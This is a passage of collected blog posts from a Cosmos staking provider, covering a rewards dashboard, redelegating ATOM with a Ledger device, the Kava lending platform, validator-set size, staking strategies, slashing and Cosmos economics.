https://p2p.org/economy/content/images/size/w1000/2020/09/5-4.png 1000w, https://p2p.org/economy/content/images/size/w1600/2020/09/5-4.png 1600w, https://p2p.org/economy/content/images/2020/09/5-4.png 1895w" sizes="(min-width: 720px) 720px"></figure>In some cases, to apply updates of the network, validators stop producing blocks and upgrade node software. This process requires a transition to a new chain with a new genesis file that stores the actual state at the moment of chain halt. When the new chain becomes active what happens with accumulated rewards?These rewards also become available, the transition to the new chain triggers withdrawal but the event is also hidden and not obvious to delegators.<h3 id="p2p-dashboard">P2P Dashboard</h3>Every public network needs a variety of analytical tools to allow people without advanced technical skills to get information about what is going on from different angles. In Proof-Of-Stake blockchains a clear reward history and accessibility of historical data are especially important. What if you need to prove received reward referring to a particular event that simply does not displayed by any explorer?Thinking of that, we decided to conduct technical research to make all rewards and withdrawals together with corresponding messages accessible and transparent across all versions of Cosmos Hub.<blockquote>We have added ability to check all withdrawal events across all versions of Cosmos Hub on <a href="https://p2p.org/?utm_source=blog&utm_medium=economy&utm_campaign=cosmos_dashboard_release#dashboard-block">P2P Dashboard</a> and made it open for community. In addition, any ATOM delegator can check all withdrawals, get full reward history and download a report in CSV for multiple addresses.</blockquote>To start, go to <a href="https://p2p.org/?utm_source=blog&utm_medium=economy&utm_campaign=cosmos_dashboard_release">p2p.org</a> and click <code>Get started</code> button in the top right corner. Connect to the dashboard manually by entering the address or using your Ledger device.<hr>Want to stake with us? Alexey will be happy to help. Contact [email protected] to get personal assistance.<hr>P2P Validator provides secure non-custodial staking. Subscribe to our channels and stay tuned for updates and new blog posts.Stake ATOM with us:<a href="https://p2p.org/cosmos?ref=p2p.org"> https://p2p.org/cosmos</a>Web:<a href="https://p2p.org/?utm_source=blog&utm_medium=economy&utm_campaign=cosmos_dashboard_release"> https://p2p.org</a>Twitter:<a href="https://twitter.com/p2pvalidator?ref=p2p.org"> @p2pvalidator</a>Telegram:<a href="https://t.me/p2pvalidator?ref=p2p.org"> https://t.me/p2pvalidator</a>

Alex Bondar

from p2p validator

Cosmos How to Redelegate your ATOM with Ledger on p2p.org

Our team have updated the delegation tool using the Ledger device on the Cosmos network so now users can go through the redelegation process.<blockquote>P2P.ORG - offers Secure & Non-Custodial Staking. No operations are possible without your confirmation, we will not request or store your private key or initial phrase.</blockquote>The redelegation process allows you to change which validator you are delegating at any time and free of charge.Use this function to change your validator if you are no longer satisfied with its services or terms. For example, high commission rates, long downtimes that reduce your rewards, or other factors.The whole process of redelegating your ATOM is simple and can be done in a safe way in just a few minutes.To get started just go to <a href="https://p2p.org/cosmos?utm_source=Cosmos_Redelegate&utm_medium=creds_link&utm_campaign=blog">p2p.org/cosmos</a>, click the <code>Stake with Ledger</code> button and select <code>Redelegate</code><h2 id="step-1-plug-in-your-ledger-device-and-open-the-cosmos-app">Step 1. Plug in your Ledger device and open the Cosmos app</h2><figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/1-6.png" class="kg-image" alt loading="lazy" width="1989" height="800" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/1-6.png 600w, https://p2p.org/economy/content/images/size/w1000/2020/09/1-6.png 1000w, https://p2p.org/economy/content/images/size/w1600/2020/09/1-6.png 1600w, https://p2p.org/economy/content/images/2020/09/1-6.png 1989w" sizes="(min-width: 720px) 720px"></figure><h2 id="step-2-choose-validator-and-then-the-amount-for-redelegation">Step 2. Choose validator and then the amount for redelegation</h2><figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/2.jpg" class="kg-image" alt loading="lazy" width="2000" height="804" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/2.jpg 600w, https://p2p.org/economy/content/images/size/w1000/2020/09/2.jpg 1000w, https://p2p.org/economy/content/images/size/w1600/2020/09/2.jpg 1600w, https://p2p.org/economy/content/images/size/w2400/2020/09/2.jpg 2400w" sizes="(min-width: 720px) 720px"></figure>Note about redelegation:<ul><li>You can redelegate a certain amount of ATOMs from one validator to another</li><li>Can only be used if already bonded to a validator</li><li>Redelegation takes effect immediately, there is no waiting period to redelegate</li><li>After a redelegation, no other redelegation can be made from the destination account for the next 3 weeks</li></ul><blockquote>If you have multiple addresses in your Ledger you can switch accounts by changing the "path" and reconnect.</blockquote><h2 id="step-3-confirm-the-transaction-on-your-ledger">Step 3. Confirm the transaction on your Ledger</h2><figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/3.jpg" class="kg-image" alt loading="lazy" width="2000" height="804" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/3.jpg 600w, https://p2p.org/economy/content/images/size/w1000/2020/09/3.jpg 1000w, https://p2p.org/economy/content/images/size/w1600/2020/09/3.jpg 1600w, https://p2p.org/economy/content/images/size/w2400/2020/09/3.jpg 2400w" sizes="(min-width: 720px) 720px"></figure>After the successful redelegation, you can check all related information and monitor your rewards using P2P Dashboard.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/4.jpg" class="kg-image" alt loading="lazy" width="2000" height="804" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/4.jpg 600w, https://p2p.org/economy/content/images/size/w1000/2020/09/4.jpg 1000w, https://p2p.org/economy/content/images/size/w1600/2020/09/4.jpg 1600w, https://p2p.org/economy/content/images/size/w2400/2020/09/4.jpg 2400w" sizes="(min-width: 720px) 720px"></figure><hr>If you have any questions feel free to contact us. We are always open for communication.<hr>P2P Validator is a Secure Non-Custodial Staking. Stay tuned for updates and new blog posts.Web:<a href="https://p2p.org/?utm_source=Cosmos_Redelegate&utm_medium=creds_link_footer&utm_campaign=blog"> https://p2p.org</a>Stake ATOM with us: <a href="https://p2p.org/cosmos?utm_source=Cosmos_Redelegate&utm_medium=creds_link_footer&utm_campaign=blog">https://p2p.org/cosmos</a>Twitter:<a href="https://twitter.com/p2pvalidator?ref=p2p.org"> @p2pvalidator</a>

Pavel Pavlov

from p2p validator

Economy, Cosmos, Kava Kava - The first decentralized lending platform in Cosmos

We live in a world of finance. Monetary incentives and market movements influence our daily decisions and define human lives in general. Under capitalism, the financial industry has become global expressing economic relations between people and institutions. Nowadays, existing wealth distribution mechanisms are inefficient and the economic environment is unstable. A lack of trust become inevitable and we are moving into the new era of decentralized finance (DeFi). Borderless, accessible and transparent interactions between participants without counterparties to transform old and inefficient financial instruments is the new paradigm of the trustless economy.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/T8DKKpE-1.png" class="kg-image" alt loading="lazy" width="2000" height="938" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/T8DKKpE-1.png 600w, https://p2p.org/economy/content/images/size/w1000/2020/09/T8DKKpE-1.png 1000w, https://p2p.org/economy/content/images/size/w1600/2020/09/T8DKKpE-1.png 1600w, https://p2p.org/economy/content/images/size/w2400/2020/09/T8DKKpE-1.png 2400w" sizes="(min-width: 720px) 720px"></figure>Kava is the first decentralized bank in the <a href="https://p2p.org/economy/introduction-to-cosmos-economy">Cosmos ecosystem</a> bridging broad digital assets to DeFi. With interoperability in mind and solid team cross-chain expertise Kava blockchain will bring new markets to the Cosmos ecosystem providing users with the liquidity and the necessary fundamentals for DeFi applications and services.<h1 id="4-de-s-of-kava">4 "De-s" of Kava</h1>1) De-centralized lending solution. Any person can take a loan in a stablecoin collateralized with crypto assets. There is no third party involved and each person is self-responsible for managing debt and lends to himself. This allows people to release a portion of stacked liquidity from passively held digital assets and spend it on whatever they want.2) De-centralized margin trading. When users put crypto collateral to take a loan they can use it for doubling-down their long position in a particular asset. In this case, if the collateral value of the asset increases the user may get a higher profit.3) De-centralized stablecoin. Kava platform provides a mechanism to issue a stable digital currency through collateralized debt position (CDP). Stable digital currency maintains <code>1:1 peg</code> to <code>USD</code> playing role of a hedge against a bear market or a true mean of exchange without explicit volatility. It allows decentralized stablecoin to take part in broader financial applications like decentralized exchanges and financial marketplaces, creating a wide space for DeFi development.4) De-centralized governance and ownership. The most exciting part is that everyone can participate in the project's evolution and own a share of the network. All participants who stake native token <code>KAVA</code> will be rewarded for effective governance depending on transaction fees, total supply emission and repaid loan fees.Cosmos ecosystem is designed with existing assets like <code>BTC</code> or <code>XRP</code> in mind. If we assume that just <code>1%</code> of <code>BTC</code> will take part in DeFi it will result in more than <code>1,5 billion USD</code> value injection also adding to a scarcity of <code>BTC</code> positively influencing the cryptocurrency market in general.<hr>In the next chapters we will dive deeper into details of Kava platform and cover staking benefits, CDP, existing risks associated with staking and other important topics.<hr>P2P Validator offers high-quality staking facilities and provides up to date information for educational purposes. Stay tuned for updates and new blog posts.Web:<a href="https://p2p.org/?ref=p2p.org"> https://p2p.org</a>Twitter:<a href="https://twitter.com/p2pvalidator?ref=p2p.org"> @p2pvalidator</a>Telegram:<a href="https://t.me/p2pvalidator?ref=p2p.org"> https://t.me/p2pvalidator</a>

Alex Bondar

from p2p validator

Economy, Cosmos Why we are against raising the number of validators

Currently, 6 validators control more than <code>33%</code> of Cosmos Hub voting power with over 62 000 000 ATOM at stake (>313 000 000 USD). Their <a href="https://medium.com/@hector_89360/cosmos-hub-validators-rich-list-9ed69274e5e?ref=p2p.org">monthly revenues</a> are sustainable and in most cases, are high enough to behave in interests of the Cosmos ecosystem even if they are technically able to collude. Their income is also sufficient to maintain reliable infrastructure, provide high level of security and upgrade their facilities. If we will look at validators from 80 to 100 we may notice that they have around 1 252 370 ATOM at stake (6 261 850 USD). Monthly revenues of a single validator in this group, in most cases, do not exceed 1000 USD. Most likely, it is not enough to provide sustainable improvements, cover running costs, pay salaries to the employees and add value to the ecosystem. If we would broaden validators set and add 25 more, their revenues, probably, would be even less. Their ability to provide secure services in the long term is questionable as well as ability to compete and attract new delegators.Situation with network decentralization will not change vastly, last 20 validators have total voting power less than 0,75%. Taking that into consideration we suggest that additional 25 validators will not add more than 0,5% creating state of the ecosystem where 36% of validators have less than 1,25% of voting power making power distribution even more irrational. This issue should be addressed before raising the threshold to establish fair distribution and define a bottom border of entering the validator's set.These validators will have higher risk of slashing with lower cost increasing economic viability of such a harmful behavior. For example, the cost of double-sign for Polychain Labs is higher than 3 000 000 USD while the average cost of double-sign for validators from 80-100 is close to 15 000 USD. The cost for validator #100 is less than 10 000 USD. This state of the ecosystem may undermine the overall trust of the Cosmos network affecting decentralization even more as delegators would not even consider to stake out of the top ten experiencing frequent slashing events.<h1 id="conclusion">Conclusion</h1>To sum up everything written above, we suggest, that Cosmos Hub is still in the early stage and not mature enough to rise that number as there does not exist strong necessity to do so and outcomes are not clear enough. In our opinion, we should take more time to establish a healthier spirit of competition inside the existing validator's set and see if the smaller validators in the set are able to attract new delegators and provide sustainable services.We understand that raising the threshold may bring new players in and final intentions are positive, but there may exist an opposite direction that has negative implications in the long run. In that case, our suggestion would be to collect more empirical data and increase the threshold based on the results of the first year as we do not need to rush forward. We already saw <a href="https://twitter.com/zmanian/status/1145072296723275776?ref=p2p.org">double-sign slashing</a> and want to decrease the probability of such events being sure that the majority of validators are reliable and sustainable.<hr>P2P Validator offers high-quality staking facilities and provides up to date information for educational purposes. Stay tuned for updates and new blog posts.<hr>P2P Validator offers high-quality staking facilities and provides up to date information for educational purposes. Stay tuned for updates and new blog posts.Web:<a href="https://p2p.org/?ref=p2p.org"> https://p2p.org</a>Stake ATOM with us:<a href="https://p2p.org/cosmos?ref=p2p.org"> https://p2p.org/cosmos</a>Twitter:<a href="https://twitter.com/p2pvalidator?ref=p2p.org"> @p2pvalidator</a>Telegram:<a href="https://t.me/p2pvalidator?ref=p2p.org"> https://t.me/p2pvalidator</a>

Konstantin Lomashuk

from p2p validator

Economy, Cosmos What is your best atom staking strategy?

Previously <a href="https://p2p.org/economy/5-reasons-to-stake-your-atoms">we discussed</a> why staking is important for the ecosystem and how people interested in the network potential can benefit increasing their overall share without suffering from inflation implications. In this short blog post I want to cover some strategies which participants could utilize with their outcomes and possible risks.There are three key options for stakers in existing conditions:<ul><li>Stake and forget</li><li>Stake and use the power of compounding in order to increase a total share of the network</li><li>Stake and save the current network share while withdrawing gains diluted by inflation from other participants who do not stake.</li></ul>In fact each of these options could be supplemented with the idea of diversification amongst various validators to decrease <a href="https://p2p.org/economy/slashing-overview-in-cosmos-network">slashing risk</a>.For simplicity let’s assume that we have two delegators, the first is staking the second one is not. Initial total supply is <code>100 atoms</code> inflation is <code>7%</code>, staking ratio is equal to the target value of <code>67%</code> and considered period of observation is <code>5 years</code>.<h1 id="1-stake-and-forget">1) Stake and forget</h1>This strategy may look convenient at a first glance but such behavior has many disadvantages. Inactive delegator can miss the moment when a node of a validator he bonded to goes offline for a long period resulting in slashing of a stake. Community may decide to change initial network parameters via governance. It may influence overall staking performance and an inactive delegator can miss that. In this case, accumulated rewards do not secure the cosmos hub.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/1-13.png" class="kg-image" alt loading="lazy" width="758" height="206" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/1-13.png 600w, https://p2p.org/economy/content/images/2020/09/1-13.png 758w" sizes="(min-width: 720px) 720px"></figure>Network share growth is slowing down as rewards become diluted by inflation and in following years it will become negative. Slashing will affect the whole holdings including rewards.<h1 id="2-stake-and-compound">2) Stake and compound</h1>This strategy is especially effective when inflation is rising and there exists a strong belief in future ability of atom to capture transaction fees flow from validating on different chains, issuing assets and so on. In this case, additional gains from people who do not stake are re-delegated on an annual basis.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/2-16.png" class="kg-image" alt loading="lazy" width="679" height="205" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/2-16.png 600w, https://p2p.org/economy/content/images/2020/09/2-16.png 679w"></figure>Staking ratio stays constant so return on staking (RoS) is not changing and network share growth is stable in this example. Obviously rewards of this delegator outperformed the previous one. This strategy also has trade-offs. If a big fish bonded to a single validator or validator itself has a big stake or delegated amount, implementing this approach may lead to high network centralization and power concentration. This will not benefit network participants and would undermine security of the cosmos hub.This scenario is also subject to slashing risk the most. To increase safety of the funds it is highly recommended to diversify stake amongst various validators even if slashing sounds like something unrealistic.<h1 id="3-stake-and-maintain-the-same-share-slightly-releasing-profit-exceeding-standard-inflation">3) Stake and maintain the same share slightly releasing profit exceeding standard inflation</h1>If <code>100%</code> of total atom supply is locked in staking every holder will have equal provisions. In fact, there would be no difference in their network ownership and no one would be diluted. In this case we cannot gain extra atoms and total yield would be zero. Inflation should be considered as a feature that protects ownership of the network from dilution and as a punishment for every holder who does not contribute to the cosmos hub security. Profit from inflation accrues only from those who do not stake. Their network share is redistributed among others and there is always an option to withdraw this addition without ownership reduction.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/3-15.png" class="kg-image" alt loading="lazy" width="758" height="206" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/3-15.png 600w, https://p2p.org/economy/content/images/2020/09/3-15.png 758w" sizes="(min-width: 720px) 720px"></figure>This approach is also good as a hedge against slashing in the long run. The more frequently you withdraw and sell rewards the less atoms will be affected. This way of staking is especially effective if inflation and annual RoS are falling and network ownership growth is slowing down. Selling portions of atom provisions may be considered as a hedge against price fluctuations. If atom price is expected to decrease in a particular period released profits could be used to buy back with a better price. If price is expected to rise and future dynamic is uncertain then it could be a great cure against greed and a good way to release profit without taking away the ability to generate revenue in future from assets and losing network ownership.<h1 id="comparison-in-dynamics">Comparison in dynamics</h1>Let’s take <code>15 year</code> period and look at the performance of these strategies in dynamics. Initial atom supply in this example is <code>100 atoms</code>. In the beginning, four delegators have <code>10 atoms</code> each:<ul><li>D1 stake & forget</li><li>D2 stake and compound</li><li>D3 stake and maintain the network ownership selling the rest</li><li>D4 just hold not staking at all Inflation is <code>7%</code> staking ratio constantly rises from <code>57%</code> to <code>77%</code> with a five year stop at <code>67%</code></li></ul><figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/4-10.png" class="kg-image" alt loading="lazy" width="938" height="524" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/4-10.png 600w, https://p2p.org/economy/content/images/2020/09/4-10.png 938w" sizes="(min-width: 720px) 720px"></figure>For that period of time D1 ended with <code>34,82 atoms</code> accumulating <code>24,82 atoms</code> pending withdrawal, D2 ended with <code>98,88 atoms</code>, D3 earned <code>65,07 atoms</code> selling <code>17,32</code> of them during that time maintaining stake of <code>47,75 atoms</code> and D4 left with <code>10 atoms</code> like in the beginning. Overall holdings could be visualized in the following graph.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/5-10.png" class="kg-image" alt loading="lazy" width="1190" height="600" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/5-10.png 600w, https://p2p.org/economy/content/images/size/w1000/2020/09/5-10.png 1000w, https://p2p.org/economy/content/images/2020/09/5-10.png 1190w" sizes="(min-width: 720px) 720px"></figure>On that graph we do not count sold atoms of D3, even so, after some time a delegator who was selling the surplus of atoms would have more holding than one who had just passively staked. If we look at a network ownership dynamics we notice that at the finish D3 maintains higher share even without increasing it. If at the end of the experiment total holdings of each delegator are affected by double-sign slashing (except D4) we see that D2 will lose twice as many as D3.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/6-6.png" class="kg-image" alt loading="lazy" width="1190" height="600" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/6-6.png 600w, https://p2p.org/economy/content/images/size/w1000/2020/09/6-6.png 1000w, https://p2p.org/economy/content/images/2020/09/6-6.png 1190w" sizes="(min-width: 720px) 720px"></figure>In the first half of the period D1 had more atoms than D3 but It is possible to be higher on the graph for this period if D3 will release less profit and re-delegate more atoms in order to slightly increase his share but not as much as D2. For the first year you can re-delegate all provisions and slightly decrease re-delegation percentage for the following years but not breaking the initial ownership. In fact you can mix the option of compounding and partial selling in any variation that suits your expectations.Network share changes differently for delegators. At the end of a period when inflation is decreasing because staking ratio is <code>>67%</code>, D2 experiences the highest decrease in the network share growth while others experience a decrease in their network ownership losses.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/7-4.png" class="kg-image" alt loading="lazy" width="1190" height="600" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/7-4.png 600w, https://p2p.org/economy/content/images/size/w1000/2020/09/7-4.png 1000w, https://p2p.org/economy/content/images/2020/09/7-4.png 1190w" sizes="(min-width: 720px) 720px"></figure>Simply speaking, it becomes more reasonable to implement the strategy of D3 when annual RoS is decreasing. If RoS is rising, network share growth rate is also rising boosting total holdings.<h1 id="conclusion">Conclusion</h1>We discussed various options of managing staking balance mostly for educational purposes and deeper understanding of staking process economic variables. Inflation mechanism may drastically change in the near future as it would not be necessary to hold such a high rate of dilution if there were enough economic incentives to stake for participants, and revenues from transaction fees and other options would exceed inflationary rewards providing a stable source of income for validators to maintain their infrastructure and fund operational costs.<hr>P2P Validator offers high-quality staking facilities and provides up to date information for educational purposes. Stay tuned for updates and new blog posts.<hr>Web:<a href="https://p2p.org/?ref=p2p.org"> https://p2p.org</a>Stake ATOMs with us:<a href="https://p2p.org/cosmos?ref=p2p.org"> https://p2p.org/cosmos</a>Twitter:<a href="https://twitter.com/p2pvalidator?ref=p2p.org"> @p2pvalidator</a>Telegram:<a href="https://t.me/p2pvalidator?ref=p2p.org"> https://t.me/p2pvalidator</a>

Alex Bondar

from p2p validator

Economy, Cosmos Slashing overview in cosmos network

We can define a cosmos network as a social galaxy with various entities and different types of participants who are fully self-responsible for decisions they make. To make such system as healthy as possible, minimize cheating and other fraudulent behavior that cause loss of confidence, it should contain a set of rules, instruments and other incentives which will determine the right direction together with moral ethics.Slashing is an event, which results in a loss of stake percentage, depending on the type of network violation and jeopardizing the safety of other participants. It represents not only a financial incentive to act properly but also is a measure to prevent nothing at stake problem.Cosmos is a complex ecosystem where atom act not only as an economic incentive but also represent a governance unit playing a crucial role in ecosystem security. In that way, slashing becomes a tool that influences voting power distribution.Besides, it affects the authority of caught fraudlent participant, motivates validators to improve their infrastructure and in case of delegators, to provide a deeper due-diligence and diversification amongst validators. Slashing also act as a decentralization mechanism motivating re-delegate atoms to more reliable or even smaller validators with equal level of security and infrastructure set up.For now this motivation can be not so obvious but after enabling Inter Blockchain Communication (IBC) and feature of shared security when validators will be slashable on multiple validated chains slashing risk will be different for all validators depending on conditions and number of chains they operate.<h1 id="slashing-events">Slashing events</h1>There are two types of events when stake liquidation happens:<ul><li>Downtime occurs when validator is offline and do not participate in block commitment signing less than <code>5%</code> of the blocks in a row of <code>10 000</code>. This situation leads to loss of <code>0,01%</code> stake not only for validator but for bonded to him delegators as well. In addition, validator drops out of the consensus and do not earn block rewards for at least <code>10 minutes</code>. After fixing the issues validator can re-join validators set by sending un-jail transaction.</li></ul><figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/1-14.png" class="kg-image" alt loading="lazy" width="647" height="151" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/1-14.png 600w, https://p2p.org/economy/content/images/2020/09/1-14.png 647w"></figure><ul><li>Double-sign can lead to more harmful consequences than the previous one. It can cause double-spend or chain fork. The wrong setup of the validator’s infrastructure or key compromise are the most common occasions that cause this type of slashing. In this case, stake penalizes by <code>5%</code> and validator loses the right to propose blocks and earn rewards without an ability to un-jail. All delegators of this validator enter the unbonding period, which lasts <code>21 days</code>. </li></ul><figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/2-17.png" class="kg-image" alt loading="lazy" width="652" height="195" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/2-17.png 600w, https://p2p.org/economy/content/images/2020/09/2-17.png 652w"></figure>Slashing also affect atoms, which were in unbonding phase at the moment when one of these events happened. If a validator have low self-bonded ratio (low self-delegated amount) and large amount bonded then, in theory, it could have economic incentive to double-sign. This behaviour will lead to a loss of confidence in this validator and as a consequence inability to earn transaction fees and atom provisions in future missing opportunity of the long term ecosystem adoption and development.Validators with low self-delegated amount should be able or will have to find the way to maintain resilent infrastructure with low costs in order to increase self-delegation and/or commision rate while bonded atoms to them are increasing.If self-bonded ratio is decreasing or low in some cases (for instance, validator bonded to other validators in order to diversify holdings or increase network decentralization), if validator charges fair commission long term incentives should overcome short term gains. Commission rate should be reasonable and cover existing expences. If a validator with high stake is not earning to maintain infrastructure and operations (by self-bonded amount that generate rewards and/or commission rate) it is at least concerning.<h1 id="how-slashing-works-in-theory">How slashing works in theory</h1>Assume that we have three validators:<ul><li><code>V1</code> with a commission of <code>5%</code></li><li><code>V2</code> with a commission of <code>8%</code></li><li><code>V3</code> with a commission of <code>9%</code></li></ul>If delegator bond to <code>V1</code> with an annual return on staking (RoS) around <code>10,2%</code> for 5 years and without taking advantage of compounding, then his cumulative interest for five years nominated in atoms will be <code>48,5%</code>. Let’s have a look at how monthly compounding with slashing will affect this number. To simplify calculation we assume that: In the case of downtime, it happened three times and delegators stake passively without re-delegating after the first event:<ol><li>End of the 2nd month and <code>2 days</code> passed before un-jail</li><li>End of the 7th month and <code>1 day</code> passed before un-jail</li><li>End of the 11th month and <code>1 day</code> passed before un-jail</li></ol>In the case of double-sign, slashing and unbonding period occurred once at the end of the 12th month. After <code>21 day</code> of unbonding delegator bonded to another validator with the same commission rate. I will use the same conditions for other comparisons in this article. Overall result for delegator will look like:<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/3-16.png" class="kg-image" alt loading="lazy" width="1062" height="535" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/3-16.png 600w, https://p2p.org/economy/content/images/size/w1000/2020/09/3-16.png 1000w, https://p2p.org/economy/content/images/2020/09/3-16.png 1062w" sizes="(min-width: 720px) 720px"></figure>We can notice that:<ul><li>Delegator who took advantage of monthly compounding even with a double-sign event outperformed another one who just delegated once and forgot. The magic of this feature I will cover in the next article.</li><li>Downtime has not much influence on the result for delegator even if it happens quite often and validator re-join validator set much later than current jail time for downtime (10 minutes). It has a bigger influence on the validator in the long term. His delegators will lose confidence and will immediately re-delegate their holdings to others. Until validator un-jail, the staked ratio will be lowered by the number of atoms delegated to him. This will increase voting power of other validators resulting in higher probability of proposing a block and may lead to higher transaction fee gais in comparison with validators who often go offline.</li><li>Double-sign has the most harmful event on RoS and the difference is about <code>9%</code> in comparison with delegator who have chosen an honest and secure validator</li></ul>If we will compare the performance of delegators who bonded to different validators with a various commission rate, we will see that RoS for <code>V3</code> is higher than RoS for <code>V1</code> and <code>V2</code> if double-sign occurred. For a taken period of 5 years this will be correct even if the commission of <code>V3</code> will be <code>16%</code> that is more than three times higher than the <code>5%</code> commission of <code>V1</code>.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/4-11.png" class="kg-image" alt loading="lazy" width="1062" height="535" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/4-11.png 600w, https://p2p.org/economy/content/images/size/w1000/2020/09/4-11.png 1000w, https://p2p.org/economy/content/images/2020/09/4-11.png 1062w" sizes="(min-width: 720px) 720px"></figure>You can notice that in the longer term (in our example >5 years) current double-sign slashing do not cause huge effect on the performance and there still exist high incentive for delegators to choose validators basing predominantly on the commission rate. In theory, this may cause weaker decentralization level of the network.Downtime slashing has even less voting and economic influence. Current slashing conditions should be considered as a starting point for further discussion on that topic and may be changed in future via governance mechanism.For example, every repeating downtime event over the period of <code>X</code> could cause atom slashing equivalent to <code>prev_slashing_percentage * 2</code>. If a validator constantly goes offline this will cost more for him and his delegators thus increasing incentive to properly maintain the state of own infrastructure and for delegators to re-delegate to others. One of concerns about changing initial parameters is a lack of empirical data so as the network evolve we will see more experiments in this field.<h1 id="smart-ideas-for-delegators-to-protect-from-slashing-consequences">Smart ideas for delegators to protect from slashing consequences</h1>No one can predict the future and one of the best ways for delegators to protect themselves from misbehavior is diversification. Suppose that delegator bonded all his atoms to <code>V1</code> with the lowest commission possible, <code>5%</code> in our case. Another delegator diversified amongst all three validators equally - <code>33%</code> for each. If <code>V1</code> will be caught on double-sign, the second delegator will get <code>2,5%</code> higher RoS than the first one who put all atoms in one basket even if <code>V2</code> & <code>V3</code> went offline for some reason.Another idea is responsible behavior. Bonding to a validator is not a blind step and simple way to earn passive income. To be up to date delegators should continue to monitor validator uptime. Frequent downtimes may indicate unreliable infrastructure.<ul><li>What actions validator take in order to prevent slashing conditions?</li><li>Does valiadator disclose an infrastructure setup?</li><li>Is it secure?</li><li>What upgrades and improvements are in the roadmap?</li><li>Is the commission rate sufficient to support validator activities and maintain reliable infrastructure?</li><li>What is the responsibility level of a validator and how valuable is it's contribution to the ecosystem development?</li></ul>Answers to these questions can help delegators to diversify amongst the most remarkable validators.The most prominent validators who set up well-protected infrastructure and have a high level of confidence can offer refunds for their delegators in case of slashing event. In this case reserve funds or the idea of developing slashing insurance for delegators make sense. For some delegators who have no ability to follow up with the state of their atom performance this could be a reasonable solution.<blockquote>The first rule – do not lose your money, the second rule – remember of the first one. "Warren Buffet"</blockquote>In the cosmos ecosystem, your atoms are your assets, which can generate additional income for you. Take care of your holdings and be responsible for the decisions you make.<hr>P2P Validator offers high-quality staking facilities and provides up to date information for educational purposes. Stay tuned for updates and new blog posts.<hr>Web:<a href="https://p2p.org/?ref=p2p.org"> https://p2p.org</a>Stake ATOMs with us:<a href="https://p2p.org/cosmos?ref=p2p.org"> https://p2p.org/cosmos</a>Twitter:<a href="https://twitter.com/p2pvalidator?ref=p2p.org"> @p2pvalidator</a>Telegram:<a href="https://t.me/p2pvalidator?ref=p2p.org"> https://t.me/p2pvalidator</a>

Alex Bondar

from p2p validator

Economy, Cosmos Introduction to Cosmos economy

To understand economical structure of Cosmos we should look closely at the key principles of the ecosystem, basic incentives for all different participants and possible influence of these principles on their behavior. Overall network purpose (mission) is satisfying the needs of ecosystem users by giving them an opportunity to provide their services in a decentralized manner with the ability to interoperate without centralized entities.Cosmos network consists of application-specific blockchains (Zones) which can be designed differently depending on the utility purpose. All blockchains are interoperable within a single ecosystem connected through intermediary blockchains (hubs) that in fact replace centralized organizations by set of validators. As a separate blockchain each zone can have its own token to govern the private or public network and have its own set of validators but governance can decide that validators of the Cosmos hub will be required to validate additional zones.Cosmos ecosystem utilizes Tendermint - practical byzantine fault tolerance (PBFT) consensus mechanism. It means that finalizing blocks depends on 2/3 plus one quorum of all validators agreed on the current state of the network in order to reach the consensus. There are three key groups of participants in Cosmos ecosystem. Each group has its own incentives and impact on the state of ecosystem.<h3 id="validators">Validators</h3>For Cosmos hub there are <code>100</code> possible validators, who are responsible for proposing new blocks and validating transactions. This number will rise by <code>13%</code> a year until it reaches three hundred maximum possible validators. For other hubs and zones this number is not mandatory and will depend on the particular use case and required level of security. If there are more validators then the right to participate in consensus will have participants with the higher amount of ATOMs bonded. <figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/1-15.png" class="kg-image" alt loading="lazy" width="558" height="79"></figure>Cosmos hub validators has the highest impact on network security and provide intercommunication between zones. They must actively participate in governance and are required to vote on every proposal otherwise their ATOMs are at the risk of being slashed (currently this feature is not active).<blockquote>Tell me who are the validators and I will tell you if the network is safe</blockquote>This group have enough knowledge and resources to maintain infrastructure and are interested in generating maximum long-term gains from ATOM inflation and transaction fees (about this later). That is why validators care about healthy and sustainable ecosystem development. They should act in interests of their delegators if they want to keep them loyal and increase the voting power in the long term.<h3 id="delegators">Delegators</h3>This group consists of ATOM token holders who have not enough skills or resources to run and maintain the infrastructure but still want to increase the network security and earn a share of the transaction fees and inflationary reward by bonding tokens to the validators. It boosts the voting power of validator and frequency of being chosen as block proposer. In fact, by bonding ATOM to validator delegators choose one of the pillars of the ecosystem so their choice is very important and affects the level of decentralization. Delegators are eligible for transaction fees and inflation reward as well but they have to pay commission, which vary within existing validators. There is no way for validators to steal bonded tokens but there are still other risks related with choosing the validator, which we will discuss later. Decisions based solely on a low commission rate is not always the best decision for delegators.<h3 id="users">Users</h3>If we compare Cosmos network with the market, users are 